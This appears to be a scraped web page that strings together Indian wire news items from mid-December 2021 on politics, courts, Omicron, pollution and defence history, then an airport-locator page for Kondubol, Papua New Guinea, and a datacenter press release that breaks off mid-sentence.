meeting will also work out a strategy to oppose the Centre's move to privatise four coal blocks of state-owned SCCL. The company last week saw three-day strike by employees, who have threatened to launch an indefinite strike. KCR also wrote to Prime Minister Narendra Modi to withdraw the proposal to privatise the coal blocks. The decision to hold the meeting came a day after KCR met his Tamil Nadu counterpart M.K. Stalin in Chennai. The two Chief Ministers believed to have discussed a joint strategy to take on the Centre on various issues. Both the leaders have been targeting the Centre for taking away the powers of the states. Imphal, Dec 15 : The Myanmar Army on Wednesday handed over five hardcore cadre of the banned Revolutionary People's Front (RPF) outfit, a sister wing of the outlawed People's Liberation Army (PLA), to the Manipur Police, officials said. A police official, who spoke on the condition of anonymity, revealed that a special flight carrying the five Manipur-based RPF militants landed at the Imphal airport on Wednesday morning and the extremists were subsequently handed to the state police. The RPF guerrillas were immediately taken to an undisclosed location by the police and are being interrogated by the senior officials. Police are yet to confirm whether these rebels were involved in any incident. Sources said that the five RPF cadre, led by their leader Devani, were provided medical treatment in a Myanmar hospital for some ailments after they were nabbed by the Myanmar military at Monywa in Sagaing region of northwestern Myanmar in August last year. On November 13, in a deadliest joint terror attack by the PLA and the Manipur Naga Peoples's Front, Colonel Viplav Tripathi and four jawans of the Assam Rifles were gunned down in Churachandpur district bordering Myanmar. Colonel Tripathi's wife and 9-year-old son were also killed in the attack. New Delhi, Dec 15 : The Gross Expenditure on R&D (GERD), in absolute terms, has increased by three times during the last 10 years, the Parliament was told on Wednesday. "The government has been making concerted efforts to enhance the GERD as a percentage of GDP. It has allowed corporate sector to make R&D investments under the provision of Corporate Social Responsibility (CSR)," Science & Technology Minister Dr Jitendra Singh told the Lok Sabha in a written reply. However, there was no mention of the amount, either for year on year expenditure or total. Corporates can invest in technology business incubators or contribute in research efforts carried out by institutions and national research laboratories as a part of their CSR, the Minister added. Several steps have been taken to attract the private sector to invest in R&D such as incentivising the private sector's R&D participation by improving the ease of doing business in the Science, Technology and Innovation (STI) activities, introducing flexible tools for public procurement, creating avenues for collaborative STI funding through portfolio-based funding mechanisms such as Public-Private-Partnerships and other innovative hybrid funding mechanisms, the reply said. Kolkata, Dec 15 : West Bengal reported its first case of Omicron on Wednesday as a seven-year-old boy tested positive for the coronavirus variant in the state's Malda, officials said. The seven-year-old had arrived at Hyderabad from Abu Dhabi, one of the non-high-risk countries on December 11, and then arrived at Kolkata on the same day before going to Malda. He was found positive at Hyderabad and his sample was sent for genome sequencing. "Today (Wednesday) morning, it was found positive for the Omicron variant... authorities from Hyderabad informed us," an official said. The child at Kaliachak Malda was admitted at Malda Medical college along with his father and sister. He is said to be stable now. Incidentally, he and his sister both tested negative on December 12 in a test conducted at a private lab at Malda. Asked about it, a senior Health Department official said: "We cannot confirm whether he is negative from a single test. At least two tests are required and we have collected his specimen today." "The contact tracing was done on Wednesday and samples were collected from the child, his sister, his father, mother, and grandmother. If found positive, these will be sent for genome sequencing." Other household contacts were advised to maintain strict home isolation, the Health Department official said. "Our state team is working on the contact tracing for the child for the last three days and taking all measures to identify the passengers in the flight and also throughout his travel route. All necessary steps are being taken for contentment and to stop spreading of this infection," the official added. Asked whether the state government quarantines passengers who are Covid positive from flights of non-risk countries on being tested positive at the airport, the official said: "That is the Government of India protocol and we strictly follow that. Two cases where found so far and both were hospitalised and samples are sent for genome sequencing. The second person is still admitted at IDBG Hospital." "We got a list of 37 co-passengers from Air India and contact has been established with 27 passengers but none of them showed any symptoms. All the passengers have been requested to go for isolation and there will be a re-test on the eighth day. Some ten passengers did not respond or could not be contacted. We will try again to track them. Out of the 27 who were contacted, 16 belonged to West Bengal, one passenger is from Bengaluru, four are from Hyderabad, three from Manipur, one from Meghalaya and one from Mizoram. The list is being shared with IDSP, New Delhi for sharing the details with the concerned states," the official added. Kochi, Dec 15 : The Kerala High Court continued to express its grave concern in the way the state police and government is handling the case of a 'Pink Police' official of the state police for her callous behaviour towards an eight-year-old girl and her father whom she accused of stealing her mobile phone and shamed publicly. The girl had approached the High Court seeking a compensation for the tirades she had faced from the act of Rejitha, the woman police official and Justice Devan Ramachandran said it was justified to grant compensation as sought by the petitioner. "I certainly propose that compensation should be granted to the petitioner following the Nambi Narayanan verdict (referring to the former space scientist who got exonerated in the ISRO spy case and got compensation). This case is fit for granting compensation to the petitioner under strict liability principle as laid down in Nilabati Behera v. State Of Orissa by the apex court," he said. Incidentally, the girl and her father have sought a compensation of Rs 50 lakh. "But I do not accept the claim for Rs 50 lakh. That is a highly exaggerated amount. Let's see what figure the state comes up with if, at all, they accede to the prayer," the judge said. The court further noted that it was certain that some sort of disciplinary action had to be taken in the matter, rather than a mere transfer and asked the state to inform the Bench of its view on providing public law reparation to the petition and what amount they propose to give as it posted the case for Monday. This was the fourth time in the past five weeks that the court spoke tough against the acts of both the woman police official and the top brass of the police for not taking any action. The Pink Police unit of the Kerala Police is an all women team that aims at protecting women in public, private, and digital spaces. In her petition, the girl stated that despite several pleas, no action was taken against the woman police officer, hence they moved the court for justice and after the trial began they said since they failed to get justice from any quarters, they have rejected the unconditional apology that the erring police official had tendered. The incident occurred on August 27, when 38-year-old Jayachandran and his daughter were out on the main road in the outskirts here near Attingal to watch the movement of a huge trailer carrying equipment to the ISRO unit. Suddenly Rejitha, the woman officer finding her mobile missing, accused Jayachandran who was standing near the police patrol vehicle, of stealing it. She even said that he must have passed the mobile to his eight-year-old daughter, his accomplice. She publicly humiliated the father and the daughter and threatened to take both of them to the nearby police station. This was witnessed by a large crowd. Later, Rejitha found out the mobile phone in the vehicle. The entire episode was filmed by an onlooker, who shared it on social media and it went viral. On August 31, Jayachandran approached the state police chief Anil Kant seeking action against Rejitha, as his daughter was in a state of shock for being publicly admonished. Promising action, Kant, asked South Zone IG Harshita Attaluri to conduct a probe and Rejitha was transferred. However, it was found out that Rejitha was transferred to a more convenient location and there was actually no action taken against her. Finding no further action in September, the family observed a day long sit-in in front of the Kerala Secretariat protesting inaction against the woman police officer. When this also went unnoticed, the family approached the High Court. New Delhi, Dec 15 : The Union Cabinet on Wednesday approved central funding of 90 per cent of water component for two hydro projects - the Renukaji Dam Project (Himachal Pradesh) and Lakhwar Multipurpose Project (Uttarakhand). "Among other benefits, the decision will help Yamuna have a defined e-flow," Jal Shakti Minister Gajendra Singh Shekhawat told a media briefing after the cabinet meeting, describing it as a permanent solution to the problem of pollution in Yamuna. Environmental activists, however, have criticised the government move. Pending since 1976, the Lakhwar dam project was considered by the Cabinet for approval of central funding. Along with Lakhwar, Renukaji project will ensure irrigation for 13 lakh plus Ha farmland, and there would also be power production. "The two projects would provide beginning of storage in Yamuna basin benefitting six states of upper Yamuna basin, augmenting water supply to Delhi as well Himachal Pradesh, Uttarakhand, Uttar Pradesh, Haryana, and Rajasthan and a major step towards rejuvenation of Yamuna," a cabinet release said. Both the projects - Lakhwar and Renuka -were declared national projects about a decade ago and the Centre had agreed to the 90:10 funding model. The two projects and a third one, Kishau, have been pending for at least two decades for lack of funding and some pending statutory requirements. Lakhwar is a 300 MW project involving construction of a 204-metre concrete dam with a 40-km-long reservoir on the Yamuna near Lohari village in Dehradun. The three dams together envisage storage that will be useful for power generation and provide water to Delhi in non-monsoon months. To a question as to when the work on Lakhwar will start, Shekhawat said: "In the era of the Modi government, it is us who would lay the foundation stone, get work done and also inaugurate the project in the designated timeframe." But, some activists assailed the government plans. "How can you depend on dams to provide e-flows? Dams actually destroy rivers," said Himanshu Thakkar, coordinator of South Asia Network for Dams, Rivers and People (SANDRP). In another decision, in view of the importance of rejuvenation of water bodies, the Cabinet has approved a paradigm shift in funding of their rejuvenation in both urban and rural areas, with significant expansion of their inclusion criteria, and enhancement of central assistance from 25 per cent to 60 per cent in general area. Further, the Ground Water component of Har Khet Ko Pani (HKKP), approved provisionally for 2021-22, targets creation of irrigation potential of 1.52 lakh hectares. "Watershed development component focuses on development of rain-fed areas towards soil and water conservation, regeneration of ground water, arresting runoff and promoting extension activities related to water harvesting and management," it said. The approved Watershed Development component of Department of Land Resources envisages completion of sanctioned projects covering 49.5 lakh hectare rain-fed/degraded lands to bring additional 2.5 lakh hectares under protective irrigation during 2021-26. New Delhi, Dec 15 : The Supreme Court on Wednesday granted protection to media baron Raghav Bahl, from any coercive action taken by the Enforcement Directorate in a money laundering case. A bench, headed by Chief Justice N.V. Ramana and comprising Justices A.S. Bopanna and Hima Kohli said: "Heard learned senior counsel for the petitioner. Issue noticea.. Till the next date of hearing, no coercive steps shall be taken against the petitioner." The top court also ordered tagging of the appeal with a pending one in the matter. On December 3, the Delhi High Court had issued notice to the ED on Bahl's plea seeking quashing of the case. However, it declined to pass any order granting him interim protection from arrest and granted three weeks to the ED to file its reply in the matter. Senior advocate Vikas Singh, representing Bahl in the apex court, argued that the petition has been filed as the high court did not grant his client protection. In the high court, the petitioner sought quashing the money laundering case, and also challenged the notices issued to him by the investigating officer. The ED case originates against Bahl from a complaint by the Income Tax (I-T) Department and the alleged laundering of funds to purchase an undisclosed asset in London. The department had initiated proceedings against him under the Black Money (Undisclosed Foreign Income and Assets). Bahl's lawyer argued in the high court the challenge to the black money proceedings was pending in the apex court, which granted him protection from coercive action. He added that now notices were issued by the ED to him in connection with the money laundering case. The ED had argued the issue of money laundering proceedings is not in the top court. The IT-Department also initiated proceedings under the Imposition of Tax Act of 2015 for alleged irregularities in the returns filed for the assessment year (AY) 2018-2019. Bahl's counsel had submitted before the high court that IT had accepted the income tax return for 2018-2019 in 2021 and based on black money complaint, ED proceedings commenced. He contended that now there is no violation, there are no proceeds of crime. Jaipur, Dec 15 : 'Jagdamba ki Jai Ho! Those were the words spoken during the 1971 India-Pakistan war by a wounded yet determined and courageous 2nd Lt Arun Khetrapal, when he went on to destroy Pakistani battle tanks, undeterred by the injuries he had sustained. Risaldar Prayag Singh, who was the driver of Khetrapal's tank named 'Famagusta', during a conversation with IANS shared the details of the last day of the war. "Khetrapal was a devotee of 'Maa Jagdamba' and raised these slogans to infuse motivation," he said. Narrating the war story, Singh said: "The 17 Poona Horse was assigned to the command of the 47th Infantry Brigade during the India-Pakistan War of 1971, which was involved in the Battle of Basantar in the Shakargarh sector. The brigade had to build a bridgehead across river Basantar. On December 15, it captured its objective, despite it being filled with extensive mines by the enemy, preventing deployment of tanks of Poona Horse." Singh from 17 Horse said: "It was a joint operation by 17 Horse, 4 Horse (two armoured regiments), 16 Madras and 3 Grenadiers. The engineers cleared the mines halfway while the Indian troops noticed alarming activity of the enemy armour asking for air support. At this juncture, the 17 Poona Horse decided to push through the minefield." "On December 16, Pakistani armour launched its first counter-attack. The commander of the squadron immediately called for reinforcements. Second Lt Arun Khetarpal from a squadron stationed close by responded promptly, along with the rest of his regiment and launched a ferocious counter attack." "He was able to subdue the enemy advance with his tanks successfully. However, during the battle, the commander of the second tank got injured. Left alone as the in-charge, Khetrapal continued his attack on the enemy. However, the enemy did not retreat despite heavy casualties. Khetrapal attacked the incoming Pakistani troops and tanks, taking down an enemy tank in the process. However, Pakistani forces counter-attacked. In the ensuing tank battle, Khetrapal with two remaining tanks held his ground and destroyed 10 enemy tanks." "However during the fierce tank battle, Khetrapal's tank was hit by enemy fire, but he did not abandon the tank... instead, he kept fighting. The tank was hit by fire and he had injured his legs. I climbed on the tank and doused the fire. But in the meantime, he was martyred," said Singh. His final words over the radio to a superior officer who ordered him to abandon his burning tank were, "No Sir, I will not abandon my tank. My main gun is still working and I will get these b******s."Saying these words, he set about destroying the remaining enemy tanks. The last enemy tank, which he shot, was barely 100 metres from his position. At this stage, his tank received a second hit and the shell entered the tank through its cupola, ripping his stomach. Khetarpal met a hero's death, trying to deny the Pakistani Army the intended breakthrough. The enemy could not get the passage it was so desperately seeking and not a single enemy tank could get past him. "I also received bullet injury in my leg which slowly healed," said Singh. "While 2nd Lt Khetrapal got Param Vir Chakra, I got my name Mention-in Despatch which describes a member of the armed forces whose name appears in an official report written by a superior officer and sent to the high command, in which their gallant or meritorious action in the face of the enemy is described," Singh said. Dakshina Kannada : , Dec 15 (IANS) Karnataka Police has clamped prohibitory orders in four taluks of Dakshina Kannada district until Friday midnight following the Popular Front of India (PFI) and Social Democratic Party of India (SDPI) threatening to stage a protest condemning police action against its members. Dakshina Kannada's Superintendent of Police Rishikesh Sonawane on Wednesday said that the prohibitory orders are being clamped in Puttur, Belthangady, Sulia, and Kadaba taluks to prevent any untoward incidents. On the violence, he said that agitators heckled police officers and tried to enter the police station with weapons. Violence broke out between protesters and police personnel near Uppinangady police station on Tuesday night, after a protest demanding release of three PFI and SDPI workers who were taken into custody in connection with a rioting case. As violence broke out, a group of about 300 persons barged into the police station and attacked police officers. The protestersd attacked woman PSI Omana and staff. After the police undertook a baton charge, the mob attacked police with sharp weapons and bottles. PSI Prasanna Kumar was stabbed on his hand and DSP Gana P. Kumar suffered injuries in stone pelting. The miscreants allegedly took shelter in a nearby mosque and hurled stones at police, as per the SP. The Vishwa Hindu Parishad has demanded a ban on PFI following the incident. Meanwhile, PFI state Secretary A.K. Ashraf has announced that they will hold a protest march in Mangaluru on December 17 condemning the baton charge on protestors. "Police arrested three persons illegally. Protest was being staged from Tuesday morning till night peacefully. Though one was released, the other two were not. The police came from behind and assaulted protesters on heads. This shows the vengeful attitude of the police. Leaders of Sangh Parivar have abused police in public earlier. The Police Department turned a blind eye then and now they are churning out their own stories of being attacked," he claimed. Panaji, Dec 15 : Goa's Urban Development Minister Milind Naik on Wednesday tendered his resignation, hours after state Congress President Girish Chodankar accused him of sexual exploitation of a woman from Bihar. In a statement issued late on Wednesday, the Chief Minister's Office said: "Milind Naik has tendered his resignation as Minister in the government of Goa, to ensure a free and fair probe, which has been accepted and sent to the Hon'ble Governor." Naik submitted his resignation hours after Chief Minister Pramod Sawant returned from a three-day visit to Uttar Pradesh to attend a good governance meet chaired by Prime Minister Narendra Modi. Earlier on Wednesday, Chodankar while addressing a press conference in Panaji had accused Naik of being involved in an alleged scandal involving a woman from Bihar, dating back to around 2019. "The minister involved in the sex scandal, Milind Naik, should be sacked and action should be initiated agianst him. And ministers like Milind Naik, who sexually assault women, should be not be protected," Chodankar said. Chodankar had also appealed to Bihar Chief Minister Nitish Kumar to back the victim and give her confidence to file a complaint against the minister in the BJP-led coalition government in Goa. "I urge Bihar CM Nitish Kumar to safeguard the interests of a daughter of Bihar, against whom a minister in Goa is committing atrocities. You are speaking about empowering women in Bihar. Will you stand with your daughter or with the minister in Goa? The people of Bihar and India are watching you," Chodankar said. "I appeal to the CM of Bihar. Give the required confidence to the woman who is claiming to be from Bihar as per the legal notice I have received and the police complaint that is filed," he added. Earlier on Wednesday, the Youth Congress also filed a complaint against Naik and claimed to have submitted audio, video and WhatsApp-based evidence in the alleged sexual exploitation case to the women's police station in Panaji. New Delhi, Dec 15 : Despite policies measures such as EV policies, metro network, BS-VI fuel, scrapping vehicles older than 15 years etc, to control vehicular emissions in cities like Delhi, the national capital has not been able to meet CPCB's annual NO2 average even once since 2013. And unfortunately, Delhi is not the only city in northwest India with this dubious distinction as an analysis of the trends for nitrogen dioxide (NO2) for three states in northwest India - Delhi, Uttar Pradesh, and Rajasthan - breached the Central Pollution Control Board (CPCB) safety limits in November 2021. An analysis by NCAP Tracker, an air pollution policy tracking platform, has shown that between 2013 and 2020, Delhi hasn't experienced a single year where NO2 annual average was within safety limits even as despite the nationwide lockdown in 2020, Delhi's annual NO2 average for the year remained at 61 micrograms per metre cubed. Emerging as a new cause of worry, NO2 levels were 73.66 and 71 in 2018 and 2019 respectively, showed the analysis that did a deep dive into the non-attainment cities in all three states, CAAQMS monitoring sites, annual NO2 trends, number of days when daily NO2 averages were breached at each monitoring site, along with an analysis for the trends, a statement from Climate Trends, an advocacy think tank, that has launched the NCAP tracker platform, said. That is not all. At 15 out of 40 monitoring sites in Delhi, the daily average for NO2 was above 80 micrograms per metre cubed for the month of November 2021, while as many as 25 out of the 40 sites experienced anywhere between 1-30 days when levels crossed the daily average of 80 micrograms per metre cubed, and 18 sites recorded annual averages above the 40 micrograms per metre cubed safety limit for NO2 set by the CPCB. WHO limits annual NO2 average at 10 micrograms per metre cubed and daily at 25 microgram per metre cubed. Similarly, out of 17 cities in Uttar Pradesh, 11 breached annual NO2 average set by CPCB at 40 micrograms per metre cubed. These cities are Varanasi (41), Noida (57), Muzaffarnagar (52), Meerut (59), Lucknow (58), Kanpur (62), Greater Noida (65), Ghaziabad (70), Firozabad (47), Bulandshahr (59), and Baghpat (60). There are just 10 monitoring sites for the eight cities in Rajasthan. Five of these locations experienced days where NO2 levels crossed daily averages - RIICO Industrial Area, Bhiwadi (six days), Police Commissionerate, Jaipur (23 days), Adarsh Nagar, Jaipur (seven days), Collectorate, Jodhpur (11 days) and Ashok Nagar Udaipur (one day). Only the capital city, Jaipur has three monitoring sites while all other cities have one CAAQMS monitor each. Director, National Institute for Implementation Research for Non-Communicable Diseases (under the ICMR), Dr Arun Sharma, said: "NO2 as a gas has not so serious effects on the health of the people, but it's secondary effects through increase in PM2.5 concentrations and augmentation of Ozone formation are a matter of concern. The average NO2 concentration is higher than the CPCB prescribed limit for all these cities in November 2021. The only way that the NO2 levels can be controlled are by reduction at source, as fixation of NO2 in the air along with SO2 is cause for acid rain." Dhaka, Dec 15 : Bangladesh Prime Minister Sheikh Hasina and Foreign Minister Dr A.K. Abdul Momen on Wednesday met Indian President Ram Nath Kovind, who is making his first visit to the country. During his visit, made on the invitation of his Bangladesh counterpart Abdul Hamid, President Kovind will attend the 50th Victory Day celebrations of Bangladesh, the closing ceremony of the birth centenary of the Father of the Nation, Bangabandhu Sheikh Mujibur Rahman, and 50 years of Bangladesh-India diplomatic relations on Thursday. Dr Momen said such a high-level visit between Bangladesh and India in 2021 will be mentioned in gold letters as a milestone chapter in the existing relations between the two countries. He has brought cakes, sweetmeats and biscuits specially made at Rashtrapati Bhavan for Sheikh Hasina. He also shared his delight over mangoes sent by the Prime Minister, saying they were "very sweet and tasty". Minister of State for Foreign Affairs M. Shahriar Alam said Prime Minister Hasina gladly received the gifts from the Indian President. On the third day of his visit on Friday, President Kovind will inaugurate and inspect the newly renovated section of the "Kali Mandir" at Ramna, before returning to Delhi. Indian Prime Minister Narendra Modi had paid a state visit to Bangladesh from March 26 to 27 to join the celebrations of the golden jubilee of the independence of Bangladesh, the birth centenary of the Sheikh Mujibur Rahman and 50 years of establishment of diplomatic relations between India and Bangladesh. New Delhi, Dec 16 : Interim Congress President Sonia Gandhi said on Wednesday that the country should remember its 1971 victory in the India-Pakistan war with the spirit of pride, determination and contemplation, and not out of arrogance, or as self-glory. She made the remarks while taking part in the concluding ceremony of a programme marking the 50th anniversary of the 1971 Bangladesh Liberation War, following which Bangladesh, formerly known as East Pakistan, was freed from Pakistan and came to be known as a sovereign and independent country. "I would like to extend a special note of thanks to all the former members of the armed forces for sharing their experiences and talking about the strategy adopted to achieve the ultimate victory," she said. The Congress leader said that 50 years ago, "the brave and courageous people of Bangladesh had given themselves a new future". "India stood by their side in solidarity to help them in various ways. India has not just given hope, but also humanitarian aid to nearly 10 million refugees. It garnered international support," she said. "Bangladesh raised its voice in regional and global fora. When it was attacked, a highly-successful military operation was launched. The fearless freedom fighters of Bangladesh should be remembered and encouraged. The finest Indian civil servants and intelligence agencies of that time should be remembered and appreciated. All those who stood with Bangladesh and India in different countries should be remembered and appreciated," she said. Sonia Gandhi further said that above all, the discipline, dedication, valour and sacrifice of the Indian armed forces "should be remembered and saluted". "It was this extraordinary convergence of a well-planned and well-executed political, diplomatic and military strategy that earned 1971 war a special place in the history of the subcontinent... a history that also gave a new shape to the geography of the region," she said. The Congress leader also spoke about the political leaders who oversaw the India-Pakistan war of 1971. Remembering then Prime Minister Indira Gandhi -- her mother-in-law -- she praised the late leader's leadership style. "Today, we remember Indira Gandhi with a great amount of pride. She became an inspiration for crores of Indians due to her boldness and resilience," Sonia Gandhi said. The senior Congress leader futher said that it would not be an exaggeration that the year 1971 was "Indira Gandhi's best year in many ways". "She received a huge mandate in March that year. When the crisis erupted in Dhaka, she grasped its implications and swung into action. She contacted all political parties and public figures, and wrote letters the Presidents and Prime Ministers of other countries, apart from sending the envoys abroad. "She ensured that the USSR stood with India, and sensitised the entire world community towards the interests of the people of Bangladesh through personal interviews, meetings and appeals," the Congress chief said. "One can never forget the way she stood up to the bullying of the then US President, and made India proud. Those were some days, weeks and months of stress. However, she remained composed and confident. She also had an able and veteran leader in Jagjivan Ram as Defence Minister in her cabinet," she said. Taking a jibe at the Narendra Modi-led Central government, Sonia Gandhi said: "Today, we are celebrating a splendid achievement. But I think Indira Gandhi wanted us to do this not out of arrogance or a sense of self-glory, but out of contemplation. So let us remember and celebrate that glorious occasion and reaffirm our steadfast commitment to those values," she said. "Today we also congratulate the people of Bangladesh. The country has made great progress in the face of great challenges. Bangladesh has very cordial relations with India, and there is a special responsibility to maintain and deepen that relationship," she added. Former Congress President Rahul Gandhi, ex-Speaker and Union minister Meira Kumar, and senior party leaders A.K. Antony and Mallikarjun Kharge attended the event, among others. -- The story has been published from a wire feed without any modifications to the text New Delhi, Dec 16 : Former Congress President Rahul Gandhi continued to attack Union Minister of State for Home, Ajay Kumar Misra alias Teni, saying that he will ensure he is jailed even if it takes 15 years. The Special Investigation Team (SIT) probing the Lakhimpur Kheri violence case on Tuesday claimed on the basis of its probe and evidence that Mishra's son Ashish Mishra, along with several others, had acted deliberately to carry out the killing of farmers as per a well-planned conspiracy. Many farmers were killed in this accident following which the opposition parties have been slamming the BJP. On the Lakhimpur Kheri violence case, Gandhi on Wednesday said, "This is a conspiracy, it was not a random event. And it is quite obvious who hatched the conspiracy and how. We (Congress) wanted to discuss the matter in the Parliament. the Congress demands the resignation of the accused Minister but the Union government is not ready to debate the matter." Asked on the action being taken by the Union government, he said: "We will put pressure continuously on the Union government. If we put pressure, the accused Minister will resign but the issue is that there has been a conspiracy. Farmers have been killed and it is being alleged that the Union Minister is involved. The Prime Minister knows the accused Minister well as the latter is a part of his cabinet but the PM has remained silent on the issue." "On one hand the Prime Minister apologises to the farmers, on the other, when it comes to giving compensation to the deceased farmers, he refuses... and the alleged killers accused of lynching the farmers still remains a Cabinet Minister. So the Congress wants to raise this issue in the Parliament but the Union government is not giving us the permission." Responding to Union Minister Piyush Goyal's statement that as the matter is pending before the the Supreme Court, there can be no discussion in the Parliament, Gandhi said: "This statement holds no logic. Whatever issue you want to discuss in Parliament, you are free to do it." "When I went to Lakhimpur Kheri, I had promised the families of the deceased victims that no matter what happens, we will provide them justice by pressuring the Union government. So justice will not be done without pressure and struggle. Like the Congress had said from the start that the three 'black laws' (farm laws) will have to be repealed, were eventually withdrawn. Similarly I am saying that the MoS Home has to resign and we will put pressure on the government until he goes to jail. Whether it takes 5, 10 or 15 years, we will not leave the Minister till he is sent to jail," Gandhi added. Congress General Secretary K.C. Venugopal told IANS that Gandhi had given an adjournment notice in the Lok Sabha on Wednesday over the SIT report in the Lakhimpur Kheri violence case. But the government is not ready for a debate, he added. -- The story has been published from a wire feed without any modifications to the text Washington, Dec 16 : Derek Chauvin, former police officer in US city of Minneapolis, appeared for a change of plea hearing in St. Paul, Minnesota, at which he pleaded guilty to federal charges of violating George Floyd's civil rights. The federal charges accused Chauvin of depriving Floyd's right to be free from "unreasonable seizure, which includes the right to be free from the use of unreasonable force by a police officer." "Guilty, your honor," Chauvin, dressed in orange short-sleeve prison shirt, said in the court to confirm his pleas. He pleaded not guilty to those charges in September. The federal civil case was on top of a state criminal case where Chauvin was convicted in April of second-degree unintentional murder, third-degree murder and second-degree manslaughter for the killing of Floyd. He was sentenced to 22 and a half years in prison in the state murder case, but may serve only two-thirds of the jail term or 15 years, and be eligible for supervised release for the remaining seven and a half years, according to Minnesota sentencing guidance. Sentencing for the federal case will be announced on another date, which has not been set by Judge Paul Magnuson of the US District Court in St. Paul, where Wednesday's hearing was held. Federal prosecutors have recommended 300 months or 25 years in prison to be served concurrently with Chauvin's sentence on state murder charges. The former police officer at the hearing also admitted guilt in another case in which he was accused of assaulting a then 14-year-old boy during an arrest in 2017. Video footage captured by bystanders showed Chauvin put his knee on Floyd's neck for 9 minutes and 29 seconds on May 25, 2020, while the latter was pinned to the ground, gasping for air and saying "I can't breathe." Three other former officers involved in Floyd's death -- Thomas Lane, J. Kueng and Tou Thao -- were also indicted on federal charges. Their trial on those charges is scheduled for January 2022, with a state trial on aiding and abetting counts set for March 2022. The brutal killing of Floyd sparked protests across the US against police brutality and racial injustice. Jerusalem, Dec 16 : The Israeli Nurses Association (INA) has declared a 24-hour strike in all hospitals and clinics nationwide in protest of violence against nurses in the country's health system. The nurses demand the immediate implementation of a government plan to eradicate violence against them in hospitals, said a statement issued by the INA on Wednesday. "This is a serious situation for years, in which the state abandons the nurses without any means of protection against the incessant violence in the health system," said Ilana Cohen, INA Chairperson. "It is very sad that those who are on the medical front for everyone day and night, including the fight against the coronavirus, do not get the basic right to return home safely," she added. "Every incident of violence is like a terrorist attack and must be addressed accordingly," Cohen said. The nurses warned that if the violence continues, they will go on another strike, Xinhua news agency reported. Arnon Bar-David, Chairman of the Histadrut, Israel's largest workers union, sent a letter to Prime Minister Naftali Bennett, demanding an urgent discussion on the issue. "Those who pay for the violence are not only victims in the workplace but Israeli society as a whole," he wrote. Tunis, Dec 16 : Tunisian President Kais Saied has met with visiting Hungarian Minister of Foreign Affairs and Trade, Peter Szijjarto, to discuss ways to enhance bilateral relations, the Tunisian presidency said in a statement. During the meeting on Wednesday, Saied highlighted the importance of further strengthening and diversifying bilateral relations in the future, especially in the economic, investment, cultural and education fields. The Tunisian President also referred to the historical friendship between Tunisia and Hungary, as well as the values of freedom and democracy they share, Xinhua news agency reported. For his part, the Hungarian Minister stressed his country's readiness to develop its partnerships with Tunisia within the framework of mutual respect. Moscow, Dec 16 : The North Atlantic Treaty Organisation (NATO) continues to provide military assistance to Ukraine, which only escalates the internal conflict in the country, the Russian Foreign Ministry has said. "NATO countries are increasing the supply of weapons to Ukraine, training its military personnel, and are not doing this with the mythical aim of maintaining stability and security, but to simply add fuel to the fire," the Ministry's Spokesperson Maria Zakharova said. During her weekly briefing, she expressed concern that these actions could drive Ukraine into a large-scale civil war. According to her, the US has provided $2.5 billion in military aid to Ukraine since 2014, including more than $400 million this year alone, Xinhua news agency reported. Russia does not trust the NATO's promise of not expanding eastwards as the words are not backed by actions, Zakharova added. Commenting on the allegation that Russia is building up forces along the Ukrainian borders, the Spokesperson said that Russia has every right to move military units on its sovereign territory but it has no intention of aggression. Earlier on Wednesday, Russian Deputy Foreign Minister Sergei Ryabkov and Kremlin Deputy Chief of Staff, Dmitry Kozak met Karen Donfried, US Assistant Secretary of State for European and Eurasian Affairs, in Moscow to discuss the Ukrainian situation and the security issue in Europe. Donfried will then travel to Brussels to coordinate US positions with its European allies and partners. Kondubol Airport, Kondubol, Papua New Guinea [ KPF / ] If you are planning to travel to Kondubol or any other city in Papua New Guinea, this airport locator will be a very useful tool. This page gives complete information about the Kondubol Airport along with the airport location map, Time Zone, lattitude and longitude, Current time and date, hotels near the airport etc... Kondubol Airport Map showing the location of this airport in Papua New Guinea. Kondubol Airport IATA Code, ICAO Code, exchange rate etc... is also provided. Kondubol Airport Info: Kondubol Airport IATA Code: KPF Kondubol Airport ICAO Code: Latitude : -10.2 Longitude : 149.7 City : Kondubol Country : Papua New Guinea World Area Code : 804 Airport Type : Small Timezone : Pacific/Port_Moresby Kondubol Airport Timezone : GMT +10:00 hours Current time and date at Kondubol Airport is 13:56:25 PM (+10) on Thursday, Jan 6, 2022 Looking for information on Kondubol Airport, Kondubol, Papua New Guinea? Know about Kondubol Airport in detail. Find out the location of Kondubol Airport on Papua New Guinea map and also find out airports near to Kondubol. This airport locator is a very useful tool for travelers to know where is Kondubol Airport located and also provide information like hotels near Kondubol Airport, airlines operating to Kondubol Airport etc... IATA Code and ICAO Code of all airports in Papua New Guinea. Scroll down to know more about Kondubol Airport or Kondubol Airport, Papua New Guinea. Kondubol Airport Map - Location of Kondubol Airport Load Map Papua New Guinea - General Information Country Formal Name Independent State of Papua New Guinea Country Code PG Capital Port Moresby Currency Kina (PGK) 1 PGK = 0.282 USD 1 USD = 3.546 PGK 1 PGK = 0.249 EUR 1 EUR = 4.013 PGK More PGK convertion rates Tel Code +675 Top Level Domain .pg This page provides all the information you need to know about Kondubol Airport, Papua New Guinea. This page is created with the aim of helping travelers and tourists visiting Papua New Guinea or traveling to Kondubol Airport. Details about Kondubol Airport given here include Kondubol Airport Code - IATA Code (3 letter airport codes) and ICAO Code (4 letter airport codes) Coordinates of Kondubol Airport - Latitude and Longitude (Lat and Long) of Kondubol Airport Location of Kondubol Airport - City Name, Country, Country Codes etc... Kondubol Airport Time Zone and Current time at Kondubol Airport Address and contact details of Kondubol Airport along with website address of the airport Clickable Location Map of Kondubol Airport on Google Map. General information about Papua New Guinea where Kondubol Airport is located in the city of Kondubol. General information include capital of Papua New Guinea, currency and conversion rate of Papua New Guinea currency, Telephone Country code, exchange rate against US Dollar and Euro in case of major world currencies etc... KPF - Kondubol Airport IATA Code This week CEO Marco Verzijl of WCooliT and CEO Nicole Mbomba of Greenergytec signed a Letter Of Intent on introducing SOLOdc the All-in-One Modular Datacenter, invented by WCooliT to the Canadian Market. Statements CEO Nicole Mbomba of GreenergyTec: "The new partnership between GreenergyTec and WCooliT will spearhead innovation in Canadian data centers in terms of energy savings and cost-efficiency. With big data exploding and computing needs swiftly growing, this partnership brings a solution that finally addresses growing concerns over data center's environmental impact in a streamlined and effective manner." CEO Marco Verzijl of WCooliT: "We are proud to announce that we have entered into a partnership with GreenergyTec from Canada. The modular data center developed by WCooliT with its smart energy solutions will be rolled out more quickly in Canada and neighboring countries as a result of this collaboration. Their mission and vision are in line with WCooliT's mission and vision and collaboration is a logical step forward." SOLOdc's unique all-in-one concept of full modular flexibility, yet prefabricated and turn-key delivered as one unit makes for 